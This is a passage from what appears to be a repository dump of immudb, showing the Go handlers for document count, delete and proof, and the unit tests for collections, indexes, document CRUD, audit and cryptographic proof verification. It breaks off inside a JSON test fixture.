the query\nfunc (d *db) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tcount, err := d.documentEngine.CountDocuments(ctx, req.Query, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.CountDocumentsResponse{\n\t\tCount: count,\n\t}, nil\n}\n\nfunc (d *db) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) {\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\terr := d.documentEngine.DeleteDocuments(ctx, username, req.Query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &protomodel.DeleteDocumentsResponse{}, nil\n}\n\n// ProofDocument returns the proofs for a documenta\nfunc (d *db) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tdocID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid document id: %v\", err)\n\t}\n\n\ttx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(tx)\n\n\tcollectionID, documentIdFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.CollectionName, docID, req.TransactionId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = d.st.ReadTx(docAudit.TxID, false, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar sourceHdr, targetHdr *store.TxHeader\n\n\tif req.ProofSinceTransactionId == 0 {\n\t\treq.ProofSinceTransactionId = 1\n\t}\n\n\tlastValidatedHdr, err := d.st.ReadTxHeader(req.ProofSinceTransactionId, false, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tx.Header().ID < req.ProofSinceTransactionId {\n\t\tsourceHdr = tx.Header()\n\t\ttargetHdr = lastValidatedHdr\n\t} else {\n\t\tsourceHdr = lastValidatedHdr\n\t\ttargetHdr = tx.Header()\n\t}\n\n\tdualProof, err := d.st.DualProofV2(sourceHdr, targetHdr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &protomodel.ProofDocumentResponse{\n\t\tDatabase:            d.name,\n\t\tCollectionId:        collectionID,\n\t\tDocumentIdFieldName: documentIdFieldName,\n\t\tEncodedDocument:     docAudit.EncodedDocument,\n\t\tVerifiableTx: &schema.VerifiableTxV2{\n\t\t\tTx:        schema.TxToProto(tx),\n\t\t\tDualProof: schema.DualProofV2ToProto(dualProof),\n\t\t},\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/database/document_database_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage database\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/verification\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nfunc makeDocumentDb(t *testing.T) *db {\n\trootPath := t.TempDir()\n\n\tdbName := \"doc_test_db\"\n\toptions := DefaultOptions().\n\t\tWithDBRootPath(rootPath)\n\n\toptions.storeOpts.IndexOpts.WithCompactionThld(2)\n\n\td, err := NewDB(dbName, nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() {\n\t\terr := d.Close()\n\t\tif !t.Failed() {\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t})\n\n\tdb := d.(*db)\n\n\treturn db\n}\n\nfunc TestDocumentDB_InvalidParameters(t *testing.T) {\n\tdb := makeDocumentDb(t)\n\n\t_, err := db.CreateCollection(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.GetCollection(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.UpdateCollection(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.DeleteCollection(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.CreateIndex(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.DeleteIndex(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.InsertDocuments(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.ReplaceDocuments(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.AuditDocument(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.CountDocuments(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.DeleteDocuments(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.ProofDocument(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestDocumentDB_WritesOnReplica(t *testing.T) {\n\tdb := makeDocumentDb(t)\n\n\tdb.AsReplica(true, false, 0)\n\n\t_, err := db.CreateCollection(context.Background(), \"admin\", &protomodel.CreateCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.UpdateCollection(context.Background(), \"admin\", &protomodel.UpdateCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.DeleteCollection(context.Background(), \"admin\", &protomodel.DeleteCollectionRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.AddField(context.Background(), \"admin\", &protomodel.AddFieldRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.RemoveField(context.Background(), \"admin\", &protomodel.RemoveFieldRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.CreateIndex(context.Background(), \"admin\", &protomodel.CreateIndexRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.DeleteIndex(context.Background(), \"admin\", &protomodel.DeleteIndexRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.InsertDocuments(context.Background(), \"admin\", &protomodel.InsertDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.ReplaceDocuments(context.Background(), \"admin\", &protomodel.ReplaceDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = db.DeleteDocuments(context.Background(), \"admin\", &protomodel.DeleteDocumentsRequest{})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n}\n\nfunc TestDocumentDB_WithCollections(t *testing.T) {\n\tdb := makeDocumentDb(t)\n\n\tdefaultCollectionName := \"mycollection\"\n\n\tt.Run(\"should pass when creating a collection\", func(t *testing.T) {\n\t\t_, err := db.CreateCollection(context.Background(), \"admin\", &protomodel.CreateCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t\tFields: []*protomodel.Field{\n\t\t\t\t{Name: \"uuid\", Type: protomodel.FieldType_UUID},\n\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.AddField(context.Background(), \"admin\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, err = db.AddField(context.Background(), \"admin\", &protomodel.AddFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, err = db.AddField(context.Background(), \"admin\", &protomodel.AddFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tField:          &protomodel.Field{Name: \"extra_field\", Type: protomodel.FieldType_UUID},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.AddField(context.Background(), \"admin\", &protomodel.AddFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tField:          &protomodel.Field{Name: \"extra_field\", Type: protomodel.FieldType_UUID},\n\t\t})\n\t\trequire.ErrorIs(t, err, document.ErrFieldAlreadyExists)\n\n\t\tcinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\n\t\texpectedFieldKeys := []*protomodel.Field{\n\t\t\t{Name: \"_id\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"uuid\", Type: protomodel.FieldType_UUID},\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"extra_field\", Type: protomodel.FieldType_UUID},\n\t\t}\n\n\t\tfor i, idxType := range expectedFieldKeys {\n\t\t\trequire.Equal(t, idxType.Name, collection.Fields[i].Name)\n\t\t\trequire.Equal(t, idxType.Type, collection.Fields[i].Type)\n\t\t}\n\n\t\t_, err = db.RemoveField(context.Background(), \"admin\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, err = db.RemoveField(context.Background(), \"admin\", &protomodel.RemoveFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFieldName:      \"extra_field\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.RemoveField(context.Background(), \"admin\", &protomodel.RemoveFieldRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFieldName:      \"extra_field\",\n\t\t})\n\t\trequire.ErrorIs(t, err, document.ErrFieldDoesNotExist)\n\n\t\texpectedFieldKeys = []*protomodel.Field{\n\t\t\t{Name: \"_id\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"uuid\", Type: protomodel.FieldType_UUID},\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"name\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"pin\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t}\n\n\t\tfor i, idxType := range expectedFieldKeys {\n\t\t\trequire.Equal(t, idxType.Name, collection.Fields[i].Name)\n\t\t\trequire.Equal(t, idxType.Type, collection.Fields[i].Type)\n\t\t}\n\n\t\tcountResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: defaultCollectionName,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Zero(t, countResp.Count)\n\n\t\t_, err = db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: \"1invalidCollectionName\",\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should pass when adding an index to the collection\", func(t *testing.T) {\n\t\t_, err := db.CreateIndex(context.Background(), \"admin\", &protomodel.CreateIndexRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFields:         []string{\"number\"},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\n\t\texpectedIndexKeys := []*protomodel.Index{\n\t\t\t{Fields: []string{\"_id\"}, IsUnique: true},\n\t\t\t{Fields: []string{\"number\"}, IsUnique: false},\n\t\t}\n\n\t\tfor i, idxType := range expectedIndexKeys {\n\t\t\trequire.Equal(t, idxType.Fields, collection.Indexes[i].Fields)\n\t\t\trequire.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique)\n\t\t}\n\t})\n\n\tt.Run(\"should pass when deleting an index to the collection\", func(t *testing.T) {\n\t\t_, err := db.DeleteIndex(context.Background(), \"admin\", &protomodel.DeleteIndexRequest{\n\t\t\tCollectionName: defaultCollectionName,\n\t\t\tFields:         []string{\"number\"},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\t\trequire.Len(t, collection.Indexes, 1)\n\n\t\texpectedIndexKeys := []*protomodel.Index{\n\t\t\t{Fields: []string{\"_id\"}, IsUnique: true},\n\t\t}\n\n\t\tfor i, idxType := range expectedIndexKeys {\n\t\t\trequire.Equal(t, idxType.Fields, collection.Indexes[i].Fields)\n\t\t\trequire.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique)\n\t\t}\n\t})\n\n\tt.Run(\"should pass when updating a collection\", func(t *testing.T) {\n\t\t_, err := db.UpdateCollection(context.Background(), \"admin\", &protomodel.UpdateCollectionRequest{\n\t\t\tName:                defaultCollectionName,\n\t\t\tDocumentIdFieldName: \"foo\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// get collection\n\t\tcinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tcollection := cinfo.Collection\n\t\trequire.Equal(t, \"foo\", collection.Fields[0].Name)\n\t})\n\n\tt.Run(\"should pass when deleting documents\", func(t *testing.T) {\n\t\t_, err := db.DeleteDocuments(context.Background(), \"admin\", &protomodel.DeleteDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: defaultCollectionName,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.DeleteDocuments(context.Background(), \"admin\", &protomodel.DeleteDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: \"1invalidCollectionName\",\n\t\t\t},\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n\n\tt.Run(\"should pass when deleting collection\", func(t *testing.T) {\n\t\t_, err := db.DeleteCollection(context.Background(), \"admin\", &protomodel.DeleteCollectionRequest{\n\t\t\tName: defaultCollectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tresp, err := db.GetCollections(context.Background(), &protomodel.GetCollectionsRequest{})\n\t\trequire.NoError(t, err)\n\n\t\trequire.Len(t, resp.Collections, 0)\n\t})\n\n\tt.Run(\"should pass when creating multiple collections\", func(t *testing.T) {\n\t\t// create collection\n\t\tcollections := []string{\"mycollection1\", \"mycollection2\", \"mycollection3\"}\n\n\t\tfor _, collectionName := range collections {\n\t\t\t_, err := db.CreateCollection(context.Background(), \"admin\", &protomodel.CreateCollectionRequest{\n\t\t\t\tName: collectionName,\n\t\t\t\tFields: []*protomodel.Field{\n\t\t\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t\t\t},\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\texpectedFieldKeys := []*protomodel.Field{\n\t\t\t{Name: \"_id\", Type: protomodel.FieldType_STRING},\n\t\t\t{Name: \"number\", Type: protomodel.FieldType_INTEGER},\n\t\t\t{Name: \"country\", Type: protomodel.FieldType_STRING},\n\t\t}\n\n\t\t// verify collection\n\t\tresp, err := db.GetCollections(context.Background(), &protomodel.GetCollectionsRequest{})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Collections, len(resp.Collections))\n\n\t\tfor i, collection := range resp.Collections {\n\t\t\trequire.Equal(t, collections[i], collection.Name)\n\t\t\tfor i, idxType := range expectedFieldKeys {\n\t\t\t\trequire.Equal(t, idxType.Name, collection.Fields[i].Name)\n\t\t\t\trequire.Equal(t, idxType.Type, collection.Fields[i].Type)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestDocumentDB_WithDocuments(t *testing.T) {\n\tdb := makeDocumentDb(t)\n\n\t// create collection\n\tcollectionName := \"mycollection\"\n\t_, err := db.CreateCollection(context.Background(), \"admin\", &protomodel.CreateCollectionRequest{\n\t\tName: collectionName,\n\t\tFields: []*protomodel.Field{\n\t\t\t{Name: \"uuid\", Type: protomodel.FieldType_UUID},\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_INTEGER},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"should fail with empty document\", func(t *testing.T) {\n\t\t// add document to collection\n\t\t_, err := db.InsertDocuments(context.Background(), \"admin\", &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments:      nil,\n\t\t})\n\t\trequire.Error(t, err)\n\t})\n\n\tvar res *protomodel.InsertDocumentsResponse\n\tvar docID string\n\n\tu, err := uuid.NewUUID()\n\trequire.NoError(t, err)\n\n\tt.Run(\"should pass when adding documents\", func(t *testing.T) {\n\t\t// add document to collection\n\t\tres, err = db.InsertDocuments(context.Background(), \"admin\", &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"uuid\": {\n\t\t\t\t\t\t\tKind: &structpb.Value_StringValue{StringValue: u.String()},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"pincode\": {\n\t\t\t\t\t\t\tKind: &structpb.Value_NumberValue{NumberValue: 123},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\t\trequire.Len(t, res.DocumentIds, 1)\n\t\tdocID = res.DocumentIds[0]\n\n\t\tcountResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: collectionName,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 1, countResp.Count)\n\t})\n\n\tvar doc *structpb.Struct\n\tt.Run(\"should pass when querying documents\", func(t *testing.T) {\n\t\t// query collection for document\n\t\treader, err := db.SearchDocuments(context.Background(), &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(123),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\t0,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tdefer reader.Close()\n\n\t\trevision, err := reader.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tdoc = revision.Document\n\t\trequire.Equal(t, u.String(), doc.Fields[\"uuid\"].GetStringValue())\n\t\trequire.Equal(t, 123.0, doc.Fields[\"pincode\"].GetNumberValue())\n\t})\n\n\tvar knownState *schema.ImmutableState\n\n\tt.Run(\"should pass when querying documents with proof\", func(t *testing.T) {\n\t\tproofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocumentId:     docID,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, proofRes)\n\n\t\tknownState, err = verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, knownState.TxId)\n\t})\n\n\tvar updatedDoc *structpb.Struct\n\n\tt.Run(\"should pass when replacing document\", func(t *testing.T) {\n\t\tquery := &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(123),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tresp, err := db.ReplaceDocuments(context.Background(), \"admin\", &protomodel.ReplaceDocumentsRequest{\n\t\t\tQuery: query,\n\t\t\tDocument: &structpb.Struct{\n\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\"pincode\": structpb.NewNumberValue(321),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Revisions, 1)\n\t\trev := resp.Revisions[0]\n\t\trequire.Equal(t, docID, rev.DocumentId)\n\n\t\treader, err := db.SearchDocuments(context.Background(), &protomodel.Query{\n\t\t\tCollectionName: collectionName,\n\t\t\tExpressions: []*protomodel.QueryExpression{\n\t\t\t\t{\n\t\t\t\t\tFieldComparisons: []*protomodel.FieldComparison{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tField:    \"pincode\",\n\t\t\t\t\t\t\tOperator: protomodel.ComparisonOperator_EQ,\n\t\t\t\t\t\t\tValue:    structpb.NewNumberValue(321),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\t0,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tdefer reader.Close()\n\n\t\trevision, err := reader.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tupdatedDoc = revision.Document\n\t\trequire.Equal(t, 321.0, updatedDoc.Fields[\"pincode\"].GetNumberValue())\n\n\t\tcountResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{\n\t\t\tQuery: &protomodel.Query{\n\t\t\t\tCollectionName: collectionName,\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 1, countResp.Count)\n\t})\n\n\tt.Run(\"should pass when auditing document without requesting payloads\", func(t *testing.T) {\n\t\tresp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocumentId:     docID,\n\t\t\tPage:           1,\n\t\t\tPageSize:       10,\n\t\t\tOmitPayload:    true,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Revisions, 2)\n\n\t\tfor _, rev := range resp.Revisions {\n\t\t\trequire.Nil(t, rev.Document)\n\t\t\trequire.Equal(t, docID, rev.DocumentId)\n\t\t\trequire.Equal(t, \"admin\", rev.Username)\n\t\t}\n\t})\n\n\tt.Run(\"should pass when auditing document\", func(t *testing.T) {\n\t\tresp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocumentId:     docID,\n\t\t\tPage:           1,\n\t\t\tPageSize:       10,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, resp.Revisions, 2)\n\n\t\tfor _, rev := range resp.Revisions {\n\t\t\trequire.Equal(t, docID, rev.Document.Fields[\"_id\"].GetStringValue())\n\t\t\trequire.Equal(t, \"admin\", rev.Username)\n\t\t}\n\t})\n\n\tt.Run(\"should pass when querying updated document with proof\", func(t *testing.T) {\n\t\tproofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{\n\t\t\tCollectionName:          collectionName,\n\t\t\tDocumentId:              docID,\n\t\t\tProofSinceTransactionId: knownState.TxId,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, proofRes)\n\n\t\tnewState, err := verification.VerifyDocument(context.Background(), proofRes, updatedDoc, knownState, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId)\n\t})\n\n\tt.Run(\"should pass when querying updated document with proof\", func(t *testing.T) {\n\t\tproofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{\n\t\t\tCollectionName:          collectionName,\n\t\t\tDocumentId:              docID,\n\t\t\tTransactionId:           knownState.TxId,\n\t\t\tProofSinceTransactionId: knownState.TxId,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, proofRes)\n\n\t\tnewState, err := verification.VerifyDocument(context.Background(), proofRes, doc, knownState, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId)\n\t})\n\n\tt.Run(\"should fail when verifying a document with invalid id\", func(t *testing.T) {\n\t\tproofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{\n\t\t\tCollectionName:          collectionName,\n\t\t\tDocumentId:              docID,\n\t\t\tTransactionId:           knownState.TxId,\n\t\t\tProofSinceTransactionId: knownState.TxId,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, proofRes)\n\n\t\t_, err = verification.VerifyDocument(context.Background(), proofRes, doc, &schema.ImmutableState{\n\t\t\tTxId: proofRes.VerifiableTx.DualProof.TargetTxHeader.Id + 1,\n\t\t}, nil)\n\t\trequire.ErrorIs(t, err, store.ErrInvalidProof)\n\n\t\tdoc.Fields[proofRes.DocumentIdFieldName] = structpb.NewNullValue()\n\n\t\t_, err = verification.VerifyDocument(context.Background(), proofRes, doc, knownState, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t})\n}\n\nfunc TestDocumentDB_AuditDocuments_CornerCases(t *testing.T) {\n\tdb := makeDocumentDb(t)\n\n\t_, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{\n\t\tCollectionName: \"mycollection\",\n\t\tDocumentId:     \"\",\n\t\tPage:           0,\n\t\tPageSize:       0,\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{\n\t\tCollectionName: \"mycollection\",\n\t\tDocumentId:     \"\",\n\t\tPage:           1,\n\t\tPageSize:       MaxKeyScanLimit + 1,\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{\n\t\tCollectionName: \"mycollection\",\n\t\tDocumentId:     \"\",\n\t\tPage:           1,\n\t\tPageSize:       1,\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{\n\t\tCollectionName: \"1invalidCollectionName\",\n\t\tDocumentId:     document.NewDocumentIDFromTimestamp(time.Now(), 1).EncodeToHexString(),\n\t\tPage:           1,\n\t\tPageSize:       1,\n\t})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestDocumentDB_WithSerializedJsonDocument(t *testing.T) {\n\tdb := makeDocumentDb(t)\n\n\tcollectionName := \"mycollection\"\n\n\t_, err := db.CreateCollection(context.Background(), \"admin\", &protomodel.CreateCollectionRequest{\n\t\tName:    collectionName,\n\t\tFields:  []*protomodel.Field{},\n\t\tIndexes: []*protomodel.Index{},\n\t})\n\trequire.NoError(t, err)\n\n\tjsonDoc := `{\n        \"old_record\": null,\n        \"record\": {\n            \"access_code\": \"1b86ff6b189f4c36a50b9073f6dfed17ee0388568a4f4651a68bf67a7c7aaf45\",\n            \"badge_uuid\": \"4ee1dbb2-544a-4e34-b99a-8003379f5d88\",\n            \"created_at\": \"2023-06-11T10:43:31.032008+00:00\",\n            \"id\": 20,\n            \"is_public\": false,\n            \"project_id\": 1,\n            \"sbom\": {\n                \"str\": 